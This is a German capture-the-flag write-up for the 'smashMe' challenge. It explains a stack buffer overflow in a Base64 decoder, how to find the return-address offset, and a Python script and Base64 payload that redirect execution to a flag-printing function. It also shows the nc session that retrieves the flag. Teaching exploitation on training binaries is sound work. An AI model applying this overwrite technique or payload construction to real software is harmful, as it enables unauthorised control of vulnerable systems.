6.4 KiB
Smash Me
smashMe ist eine klassische Binary-Exploitation-Challenge, die Spieler in stackbasierte Buffer Overflows einführt. Die Challenge bietet ein statisch gelinktes 64-Bit-ELF-Binary und den dazugehörigen Quellcode. Die Spieler müssen eine Schwachstelle in einer benutzerdefinierten Base64-Dekodierung finden und den Programmfluss auf eine "Win"-Funktion umleiten, die das Flag ausgibt.
Informationsbeschaffung
Sicherheitsmechanismen des Binarys
Wir können die Sicherheitsmerkmale des Binarys mit Standard-Kommandozeilen-Tools wie file und readelf analysieren.
1. Statisches Linken und No-PIE
Mit dem Befehl file:
$ file smashMe
smashMe: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, ...
- Statically linked: Alle notwendigen Bibliotheken (wie die
libc) sind im Binary enthalten. - LSB executable: Da dort "executable" und nicht "shared object" steht, ist PIE (Position Independent Executable) deaktiviert. Das Binary wird an einer festen Basisadresse geladen (
0x400000).
2. NX (No-Execute)
Mit readelf prüfen wir die Stack-Berechtigungen:
$ readelf -l smashMe | grep -A 1 STACK
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
- Das Flag
RWE(Read, Write, Execute) zeigt an, dass der Stack ausführbar ist. NX ist deaktiviert.
3. Stack Canaries
Obwohl eine Suche nach Symbolen __stack_chk_fail (aufgrund der statisch gelinkten libc) anzeigen könnte, können wir überprüfen, ob die Zielfunktion dies nutzt, indem wir core_loop disassemblieren:
$ objdump -d -M intel smashMe | grep -A 10 "<core_loop>:"
0000000000401d83 <core_loop>:
...
401d8f: 48 83 ec 50 sub rsp,0x50
...
Das Fehlen von Referenzen auf fs:[0x28] oder Aufrufen von __stack_chk_fail im Funktionsprolog/-epilog bestätigt, dass für diese Funktion keine Stack Canaries aktiviert sind.
Diese Einstellungen machen das Binary sehr anfällig für traditionelle Stack-Smashing-Techniken.
Quellcode-Analyse (vuln.c)
Das Programm liest einen Base64-String vom Benutzer, dekodiert ihn und gibt das Ergebnis aus. Die Kernlogik befindet sich in core_loop():
void core_loop() {
unsigned char decoded[64];
// Base64-Eingabe anfordern
printf("Give me a base64 string: ");
scanf("%s", input);
// Dekodieren
int result = base64_decode(input, decoded);
// ...
}
Die Funktion base64_decode dekodiert Daten aus dem globalen input-Puffer in den lokalen decoded-Puffer. Dabei fehlt jedoch jegliche Überprüfung der Grenzen des Zielpuffers:
int base64_decode(const char *data, unsigned char *output_buffer) {
// ...
for (i = 0, j = 0; i < input_length;) {
// ... (Dekodierungslogik)
output_buffer[j++] = (triple >> 2 * 8) & 0xFF;
output_buffer[j++] = (triple >> 1 * 8) & 0xFF;
output_buffer[j++] = (triple >> 0 * 8) & 0xFF;
}
// ...
}
Während decoded nur 64 Bytes groß ist, kann input bis zu 2048 Bytes aufnehmen, was einen erheblichen Überlauf des Stackframes ermöglicht.
Schwachstellenanalyse
Die Schwachstelle ist ein stackbasierter Buffer Overflow. Durch die Angabe eines langen Base64-kodierten Strings können wir lokale Variablen, den gespeicherten Frame-Pointer (RBP) und die gespeicherte Rücksprungadresse auf dem Stack überschreiben.
Das Programm enthält eine "Win"-Funktion namens print_flag():
void print_flag() {
printf("[!!!] Access Granted. The Return Address was modified.
[*] FLAG: %s
", global_flag);
exit(0);
}
Unser Ziel ist es, den Kontrollfluss zu kapern, indem wir die Rücksprungadresse von core_loop() mit der Adresse von print_flag() überschreiben.
Exploitation-Strategie
1. Die Zieladresse finden
Da PIE deaktiviert ist, ist die Adresse von print_flag konstant. Mit nm oder objdump:
nm smashMe | grep print_flag
# Ausgabe: 0000000000401b58 T print_flag
Um potenzielle Probleme mit der Stack-Ausrichtung zu vermeiden (wie z. B. der Befehl movaps, der einen auf 16 Byte ausgerichteten Stack erfordert), können wir zu 0x401b60 springen, was kurz nach dem Funktionsprolog liegt.
2. Den Offset bestimmen
Wir müssen die genaue Distanz vom Anfang des decoded-Puffers bis zur Rücksprungadresse bestimmen.
- Die Funktion
core_looprichtet den Stack auf 16 Bytes aus (and rsp, 0xfffffffffffffff0) und subtrahiert dann0x50(80 Bytes). - Der
decoded-Puffer befindet sich am aktuellenrsp. - Aufgrund der Stack-Ausrichtung und der folgenden push/sub-Operationen beträgt die Distanz zur gespeicherten Rücksprungadresse 88 Bytes (80 Bytes für den Puffer/Ausrichtung + 8 Bytes für das gespeicherte RBP).
Gesamt-Offset zur Rücksprungadresse: 88 Bytes.
3. Den Payload konstruieren
Struktur des Payloads:
- 80 Bytes beliebiges Padding (z. B. 'A's).
- 8 Bytes, um das gespeicherte RBP zu überschreiben (z. B. 'B's).
- 8 Bytes mit der Adresse
0x401b60(Little-Endian).
Der fertige Roh-Payload wird dann Base64-kodiert, um den Eingabeanforderungen des Programms zu entsprechen.
Lösung
Das folgende Python-Skript generiert den Exploit:
import struct
import base64
# Zieladresse von print_flag (Prolog überspringen)
win_addr = struct.pack('<Q', 0x401b60)
# 80 Bytes Padding + 8 Bytes gespeichertes RBP + 8 Bytes Rücksprungadresse
raw_payload = b'A' * 80 + b'B' * 8 + win_addr
# Als Base64 kodieren, wie vom Programm erwartet
print(base64.b64encode(raw_payload).decode())
Das Ausführen des Skripts ergibt den Payload:
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQkJCQkJCQmAbQAAAAAAA
Ausführen des Exploits gegen das Ziel:
$ nc <host> 1349
Give me a base64 string: QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQkJCQkJCQmAbQAAAAAAA
Decoded: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB`.@
[!!!] Access Granted. The Return Address was modified.
[*] FLAG: {flag:Al3ph1_Sm4sh3d_Th3_St4ck_1n_Phr4ck49}
Fazit
smashMe dient als grundlegende Übung zum Identifizieren und Ausnutzen von stackbasierten Overflows. Es verdeutlicht, dass selbst wenn Daten transformiert werden (z. B. via Base64), eine unsachgemäße Behandlung von Pufferlängen zur vollständigen Kompromittierung des Systems führen kann.